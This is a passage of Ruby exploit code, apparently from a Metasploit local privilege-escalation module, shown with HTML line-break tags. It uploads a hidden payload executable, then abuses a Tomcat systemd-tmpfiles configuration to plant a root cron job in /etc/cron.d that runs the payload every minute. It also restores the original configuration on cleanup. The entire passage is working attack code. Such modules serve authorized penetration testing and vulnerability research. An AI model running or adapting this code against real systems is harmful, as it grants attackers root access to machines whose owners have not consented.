print_good("Original #{tomcat_conf} backed up to #{path}")<br /><br /> # Upload payload executable<br /> payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"<br /> vprint_status("Uploading Payload to #{payload_path}")<br /> upload_and_chmodx payload_path, generate_payload_exe<br /> register_file_for_cleanup(payload_path)<br /><br /> # write in our payload execution<br /> vprint_status("Writing permission elevation into #{tomcat_conf}")<br /><br /> cron_job = "/etc/cron.d/#{rand_text_alphanumeric(5..10)}"<br /> print_status("Creating cron job in #{cron_job}")<br /> # The POC shows 2 options, a cron answer, and copy bash answer.<br /> # Initially I attempted to copy our payload, set suid and root owner<br /> # however it seemed to need 2 service restart to apply all the permissions.<br /> # I never figured out why it was like that, even chaining copying bash in, then<br /> # launching the payload from the bash instance etc. We opt for the cron<br /> # which may take 1 additional minute, and rely on cron, but is much more stable<br /> cmd_exec("echo 'F #{cron_job} 0644 root root - \"* * * * * root nohup #{payload_path} & \\n\\n\"' >> #{tomcat_conf}")<br /> register_file_for_cleanup(cron_job)<br /><br /> # we now need systemd-tmpfiles to restart<br /> print_good("Waiting #{datastore['WfsDelay']} seconds. Run the following command on the target machine: /usr/bin/systemd-tmpfiles --create - this is required to restart the tmpfiles-setup.service")<br /> succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do<br /> file? cron_job<br /> end<br /><br /> unless succeeded<br /> print_error("#{cron_job} not found, exploit aborted")<br /> return<br /> end<br /><br /> print_status('Waiting on cron to execute the payload (~1 minute)')<br /> end<br /><br /> def cleanup<br /> unless @tomcat_conf_content.nil?<br /> write_file(tomcat_conf, @tomcat_conf_content)<br /> end<br /> super<br /> end<br />end<br /></code></pre>